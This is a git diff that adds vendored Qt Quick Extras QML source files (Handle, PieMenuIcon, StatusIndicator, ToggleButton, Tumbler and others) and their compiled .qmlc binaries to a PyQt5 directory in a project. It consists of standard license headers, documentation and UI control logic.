b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qml new file mode 100644 index 00000000..6c3fdaa6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qml @@ -0,0 +1,123 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +import QtGraphicalEffects 1.0 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras.Private 1.1 +import QtQuick.Extras.Private.CppUtils 1.0 + +Control { + id: root + x: handleArea.centerOfHandle.x - width / 2 + y: handleArea.centerOfHandle.y - height / 2 + + style: Settings.styleComponent(Settings.style, "HandleStyle.qml", root) + + /*! + The angle of the handle along the circumference of \l rotationRadius in + radians, scaled to be in the range of 0.0 to 1.0. + */ + property alias value: range.value + + RangeModel { + id: range + minimumValue: 0.0 + maximumValue: 1.0 + stepSize: 0 + value: minimumValue + } + + /*! + The angle in radians where the dial starts. + */ + property real zeroAngle: 0 + + /*! + The radius of the rotation of this handle. + */ + property real rotationRadius: 50 + + /*! + The center of the dial. This is the origin point for the handle's + rotation. + */ + property real dialXCenter: 0 + property real dialYCenter: 0 + + /*! + This property holds the amount of extra room added to each side of + the handle to make it easier to drag on touch devices. + */ + property real allowance: Math.max(width, height) * 1.5 + + /* + The function used to determine the handle's value from the position of + the mouse. + + Can be set to provide custom value calculation. It expects these + parameters: \c mouseX, \c mouseY, \c xCenter, \c yCenter, \c zeroAngle + */ + property var valueFromMouse: handleArea.valueFromMouse + + property alias handleArea: handleArea + + MouseArea { + id: handleArea + // Respond to value changes by calculating the new center of the handle. + property point centerOfHandle: MathUtils.centerAlongCircle(dialXCenter, dialYCenter, + 0, 0, MathUtils.valueToAngle(value, 1, zeroAngle), rotationRadius); + + anchors.fill: parent + anchors.margins: -allowance + + onPositionChanged: { + // Whenever the handle is moved with the mouse, update the value. + value = root.valueFromMouse(mouse.x + centerOfHandle.x - allowance, + mouse.y + centerOfHandle.y - allowance, dialXCenter, dialYCenter, zeroAngle); + } + + // A helper function for onPositionChanged. + function valueFromMouse(mouseX, mouseY, xCenter, yCenter, zeroAngle) { + return MathUtils.angleToValue( + MathUtils.halfPi - Math.atan2(mouseX - xCenter, mouseY - yCenter), 1, zeroAngle); + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qmlc new file mode 100644 index 00000000..1c10e4e4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qml new file mode 100644 index 00000000..7cb57e02 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qml @@ -0,0 +1,102 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.3 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 +import QtQuick.Extras.Private.CppUtils 1.0 + +Loader { + id: iconLoader + active: iconSource != "" + + property PieMenu control: null + property QtObject styleData: null + + readonly property string iconSource: styleData && styleData.index < control.__protectedScope.visibleItems.length + ? control.__protectedScope.visibleItems[styleData.index].iconSource + : "" + + sourceComponent: Image { + id: iconImage + source: iconSource + x: pos.x + y: pos.y + scale: scaleFactor + + readonly property point pos: MathUtils.centerAlongCircle( + iconLoader.parent.width / 2, iconLoader.parent.height / 2, width, height, + MathUtils.degToRadOffset(sectionCenterAngle(styleData.index)), control.__style.__iconOffset) + + /* + The icons should scale with the menu at some point, so that they + stay within the bounds of each section. We down-scale the image by + whichever of the following amounts are larger: + + a) The amount by which the largest dimension's diagonal size exceeds + the "selectable" radius. The selectable radius is the distance in pixels + between lines A and B in the incredibly visually appealing image below: + + __________ + - B - + / \ + / ____ \ + | / A \ | + --------| |-------- + + b) The amount by which the diagonal exceeds the circumference of + one section. + */ + readonly property real scaleFactor: { + var largestDimension = Math.max(iconImage.sourceSize.width, iconImage.sourceSize.height) * Math.sqrt(2); + // TODO: add padding + var radiusDifference = largestDimension - control.__style.__selectableRadius; + var circumferenceDifference = largestDimension - Math.abs(control.__protectedScope.circumferenceOfSection); + if (circumferenceDifference > 0 || radiusDifference > 0) { + // We need to down-scale. + if (radiusDifference > circumferenceDifference) { + return control.__style.__selectableRadius / largestDimension; + } else { + return Math.abs(control.__protectedScope.circumferenceOfSection) / largestDimension; + } + } + return 1; + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qmlc new file mode 100644 index 00000000..66415ac7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qml new file mode 100644 index 00000000..78e9003d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qml @@ -0,0 +1,44 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +pragma Singleton +import QtQuick 2.1 + +Text { +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qmlc new file mode 100644 index 00000000..f5dc33de Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/qmldir new file mode 100644 index 00000000..3b115bba --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/qmldir @@ -0,0 +1 @@ +module QtQuick.Extras.Private diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qml new file mode 100644 index 00000000..aee171c4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qml @@ -0,0 +1,119 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype StatusIndicator + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-non-interactive + \brief An indicator that displays active or inactive states. + + \image statusindicator-active.png A StatusIndicator in the active state + A StatusIndicator in the active state. + \image statusindicator-inactive.png A StatusIndicator in the inactive state + A StatusIndicator in the inactive state. + + The StatusIndicator displays active or inactive states. By using different + colors via the \l color property, StatusIndicator can provide extra + context to these states. For example: + + \table + \row + \li QML + \li Result + \row + \li + \code + import QtQuick 2.2 + import QtQuick.Extras 1.4 + + Rectangle { + width: 100 + height: 100 + color: "#cccccc" + + StatusIndicator { + anchors.centerIn: parent + color: "green" + } + } + \endcode + \li \image statusindicator-green.png "Green StatusIndicator" + \endtable + + You can create a custom appearance for a StatusIndicator by assigning a + \l {StatusIndicatorStyle}. +*/ + +Control { + id: statusIndicator + + style: Settings.styleComponent(Settings.style, "StatusIndicatorStyle.qml", statusIndicator) + + /*! + This property specifies whether the indicator is active or inactive. + + The default value is \c false (off). + + \deprecated Use active instead. + */ + property alias on: statusIndicator.active + + /*! + This property specifies whether the indicator is active or inactive. + + The default value is \c false (inactive). + */ + property bool active: false + + /*! + This property specifies the color of the indicator when it is active. + + The default value is \c "red". + */ + property color color: __style.color +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qmlc new file mode 100644 index 00000000..4469a0b7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qml new file mode 100644 index 00000000..9a667413 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ToggleButton + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-interactive + \brief A push button that toggles between two states. + + \image togglebutton-unchecked.png An unchecked ToggleButton + An unchecked ToggleButton. + \image togglebutton-checked.png A checked ToggleButton + A checked ToggleButton. + + The ToggleButton is a simple extension of Qt Quick Controls' Button, using + the checked property to toggle between two states: \e checked and + \e unchecked. It enhances the visibility of a checkable button's state by + placing color-coded indicators around the button. + + You can create a custom appearance for a ToggleButton by assigning a + \l {ToggleButtonStyle}. +*/ + +Button { + id: button + checkable: true + style: Settings.styleComponent(Settings.style, "ToggleButtonStyle.qml", button) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qmlc new file mode 100644 index 00000000..4170602c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qml new file mode 100644 index 00000000..355d676b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qml @@ -0,0 +1,478 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 +import QtQuick.Layouts 1.0 + +/*! + \qmltype Tumbler + \inqmlmodule QtQuick.Extras + \since 5.5 + \ingroup extras + \ingroup extras-interactive + \brief A control that can have several spinnable wheels, each with items + that can be selected. + + \image tumbler.png A Tumbler + + \note Tumbler requires Qt 5.5.0 or later. + + The Tumbler control is used with one or more TumblerColumn items, which + define the content of each column: + + \code + Tumbler { + TumblerColumn { + model: 5 + } + TumblerColumn { + model: [0, 1, 2, 3, 4] + } + TumblerColumn { + model: ["A", "B", "C", "D", "E"] + } + } + \endcode + + You can also use a traditional model with roles: + + \code + Rectangle { + width: 220 + height: 350 + color: "#494d53" + + ListModel { + id: listModel + + ListElement { + foo: "A" + bar: "B" + baz: "C" + } + ListElement { + foo: "A" + bar: "B" + baz: "C" + } + ListElement { + foo: "A" + bar: "B" + baz: "C" + } + } + + Tumbler { + anchors.centerIn: parent + + TumblerColumn { + model: listModel + role: "foo" + } + TumblerColumn { + model: listModel + role: "bar" + } + TumblerColumn { + model: listModel + role: "baz" + } + } + } + \endcode + + \section1 Limitations + + For technical reasons, the model count must be equal to or greater than + \l {TumblerStyle::}{visibleItemCount} + plus one. The + \l {TumblerStyle::}{visibleItemCount} + must also be an odd number. + + You can create a custom appearance for a Tumbler by assigning a + \l {TumblerStyle}. To style + individual columns, use the \l {TumblerColumn::delegate}{delegate} and + \l {TumblerColumn::highlight}{highlight} properties of TumblerColumn. +*/ + +Control { + id: tumbler + + /* + \qmlproperty Component Tumbler::style + + The style Component for this control. + */ + style: Settings.styleComponent(Settings.style, "TumblerStyle.qml", tumbler) + + ListModel { + id: columnModel + } + + /*! + \qmlproperty int Tumbler::columnCount + + The number of columns in the Tumbler. + */ + readonly property alias columnCount: columnModel.count + + /*! \internal */ + function __isValidColumnIndex(index) { + return index >= 0 && index < columnCount/* && columnRepeater.children.length === columnCount*/; + } + + /*! \internal */ + function __isValidColumnAndItemIndex(columnIndex, itemIndex) { + return __isValidColumnIndex(columnIndex) && itemIndex >= 0 && itemIndex < __viewAt(columnIndex).count; + } + + /*! + \qmlmethod int Tumbler::currentIndexAt(int columnIndex) + Returns the current index of the column at \a columnIndex, or \c null + if \a columnIndex is invalid. + */ + function currentIndexAt(columnIndex) { + if (!__isValidColumnIndex(columnIndex)) + return -1; + + return columnModel.get(columnIndex).columnObject.currentIndex; + } + + /*! + \qmlmethod void Tumbler::setCurrentIndexAt(int columnIndex, int itemIndex, int interval) + Sets the current index of the column at \a columnIndex to \a itemIndex. The animation + length can be set with \a interval, which defaults to \c 0. + + Does nothing if \a columnIndex or \a itemIndex are invalid. + */ + function setCurrentIndexAt(columnIndex, itemIndex, interval) { + if (!__isValidColumnAndItemIndex(columnIndex, itemIndex)) + return; + + var view = columnRepeater.itemAt(columnIndex).view; + if (view.currentIndex !== itemIndex) { + view.highlightMoveDuration = typeof interval !== 'undefined' ? interval : 0; + view.currentIndex = itemIndex; + view.highlightMoveDuration = Qt.binding(function(){ return __highlightMoveDuration; }); + } + } + + /*! + \qmlmethod TumblerColumn Tumbler::getColumn(int columnIndex) + Returns the column at \a columnIndex or \c null if the index is + invalid. + */ + function getColumn(columnIndex) { + if (!__isValidColumnIndex(columnIndex)) + return null; + + return columnModel.get(columnIndex).columnObject; + } + + /*! + \qmlmethod TumblerColumn Tumbler::addColumn(TumblerColumn column) + Adds a \a column and returns the added column. + + The \a column argument can be an instance of TumblerColumn, + or a \l Component. The component has to contain a TumblerColumn. + Otherwise \c null is returned. + */ + function addColumn(column) { + return insertColumn(columnCount, column); + } + + /*! + \qmlmethod TumblerColumn Tumbler::insertColumn(int index, TumblerColumn column) + Inserts a \a column at the given \a index and returns the inserted column. + + The \a column argument can be an instance of TumblerColumn, + or a \l Component. The component has to contain a TumblerColumn. + Otherwise, \c null is returned. + */ + function insertColumn(index, column) { + var object = column; + if (typeof column["createObject"] === "function") { + object = column.createObject(root); + } else if (object.__tumbler) { + console.warn("Tumbler::insertColumn(): you cannot add a column to multiple Tumblers") + return null; + } + if (index >= 0 && index <= columnCount && object.accessibleRole === Accessible.ColumnHeader) { + object.__tumbler = tumbler; + object.__index = index; + columnModel.insert(index, { columnObject: object }); + return object; + } + + if (object !== column) + object.destroy(); + console.warn("Tumbler::insertColumn(): invalid argument"); + return null; + } + + /* + Try making one selection bar by invisible highlight item hack, so that bars go across separators + */ + + Component.onCompleted: { + for (var i = 0; i < data.length; ++i) { + var column = data[i]; + if (column.accessibleRole === Accessible.ColumnHeader) + addColumn(column); + } + } + + /*! \internal */ + readonly property alias __columnRow: columnRow + /*! \internal */ + property int __highlightMoveDuration: 300 + + /*! \internal */ + function __viewAt(index) { + if (!__isValidColumnIndex(index)) + return null; + + return columnRepeater.itemAt(index).view; + } + + /*! \internal */ + readonly property alias __movementDelayTimer: movementDelayTimer + + // When the up/down arrow keys are held down on a PathView, + // the movement of the items is limited to the highlightMoveDuration, + // but there is no built-in guard against trying to move the items at + // the speed of the auto-repeat key presses. This results in sluggish + // movement, so we enforce a delay with a timer to avoid this. + Timer { + id: movementDelayTimer + interval: __highlightMoveDuration + } + + Loader { + id: backgroundLoader + sourceComponent: __style.background + anchors.fill: columnRow + } + + Loader { + id: frameLoader + sourceComponent: __style.frame + anchors.fill: columnRow + anchors.leftMargin: -__style.padding.left + anchors.rightMargin: -__style.padding.right + anchors.topMargin: -__style.padding.top + anchors.bottomMargin: -__style.padding.bottom + } + + Row { + id: columnRow + x: __style.padding.left + y: __style.padding.top + + Repeater { + id: columnRepeater + model: columnModel + delegate: Item { + id: columnItem + width: columnPathView.width + separatorDelegateLoader.width + height: columnPathView.height + + readonly property int __columnIndex: index + // For index-related functions and tests. + readonly property alias view: columnPathView + readonly property alias separator: separatorDelegateLoader.item + + PathView { + id: columnPathView + width: columnObject.width + height: tumbler.height - tumbler.__style.padding.top - tumbler.__style.padding.bottom + visible: columnObject.visible + clip: true + + Qml.Binding { + target: columnObject + property: "__currentIndex" + value: columnPathView.currentIndex + restoreMode: Binding.RestoreBinding + } + + // We add one here so that the delegate's don't just appear in the view instantly, + // but rather come from the top/bottom. To account for this adjustment elsewhere, + // we extend the path height by half an item's height at the top and bottom. + pathItemCount: tumbler.__style.visibleItemCount + 1 + preferredHighlightBegin: 0.5 + preferredHighlightEnd: 0.5 + highlightMoveDuration: tumbler.__highlightMoveDuration + highlight: Loader { + id: highlightLoader + objectName: "highlightLoader" + sourceComponent: columnObject.highlight ? columnObject.highlight : __style.highlight + width: columnPathView.width + + readonly property int __index: index + + property QtObject styleData: QtObject { + readonly property alias index: highlightLoader.__index + readonly property int column: columnItem.__columnIndex + readonly property bool activeFocus: columnPathView.activeFocus + } + } + dragMargin: width / 2 + + activeFocusOnTab: true + Keys.onDownPressed: { + if (!movementDelayTimer.running) { + columnPathView.incrementCurrentIndex(); + movementDelayTimer.start(); + } + } + Keys.onUpPressed: { + if (!movementDelayTimer.running) { + columnPathView.decrementCurrentIndex(); + movementDelayTimer.start(); + } + } + + path: Path { + startX: columnPathView.width / 2 + startY: -tumbler.__style.__delegateHeight / 2 + PathLine { + x: columnPathView.width / 2 + y: columnPathView.pathItemCount * tumbler.__style.__delegateHeight - tumbler.__style.__delegateHeight / 2 + } + } + + model: columnObject.model + + delegate: Item { + id: delegateRootItem + property var itemModel: model + + implicitWidth: itemDelegateLoader.width + implicitHeight: itemDelegateLoader.height + + Loader { + id: itemDelegateLoader + sourceComponent: columnObject.delegate ? columnObject.delegate : __style.delegate + width: columnObject.width + + onHeightChanged: tumbler.__style.__delegateHeight = height; + + property var model: itemModel + + readonly property var __modelData: modelData + readonly property int __columnDelegateIndex: index + property QtObject styleData: QtObject { + readonly property var modelData: itemDelegateLoader.__modelData + readonly property alias index: itemDelegateLoader.__columnDelegateIndex + readonly property int column: columnItem.__columnIndex + readonly property bool activeFocus: columnPathView.activeFocus + readonly property real displacement: { + var count = delegateRootItem.PathView.view.count; + var offset = delegateRootItem.PathView.view.offset; + + var d = count - index - offset; + var halfVisibleItems = Math.floor(tumbler.__style.visibleItemCount / 2) + 1; + if (d > halfVisibleItems) + d -= count; + else if (d < -halfVisibleItems) + d += count; + return d; + } + readonly property bool current: delegateRootItem.PathView.isCurrentItem + readonly property string role: columnObject.role + readonly property var value: (itemModel && itemModel.hasOwnProperty(role)) + ? itemModel[role] // Qml ListModel and QAbstractItemModel + : modelData && modelData.hasOwnProperty(role) + ? modelData[role] // QObjectList/QObject + : modelData != undefined ? modelData : "" // Models without role + } + } + } + } + + Loader { + anchors.fill: columnPathView + sourceComponent: columnObject.columnForeground ? columnObject.columnForeground : __style.columnForeground + + property QtObject styleData: QtObject { + readonly property int column: columnItem.__columnIndex + readonly property bool activeFocus: columnPathView.activeFocus + } + } + + Loader { + id: separatorDelegateLoader + objectName: "separatorDelegateLoader" + sourceComponent: __style.separator + // Don't need a separator after the last delegate. + active: __columnIndex < tumbler.columnCount - 1 + anchors.left: columnPathView.right + anchors.top: parent.top + anchors.bottom: parent.bottom + visible: columnObject.visible + + // Use the width of the first separator to help us + // determine the default separator width. + onWidthChanged: { + if (__columnIndex == 0) { + tumbler.__style.__separatorWidth = width; + } + } + + property QtObject styleData: QtObject { + readonly property int index: __columnIndex + } + } + } + } + } + + Loader { + id: foregroundLoader + sourceComponent: __style.foreground + anchors.fill: backgroundLoader + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qmlc new file mode 100644 index 00000000..f4629eb7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qml new file mode 100644 index 00000000..f630a228 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qml @@ -0,0 +1,171 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to 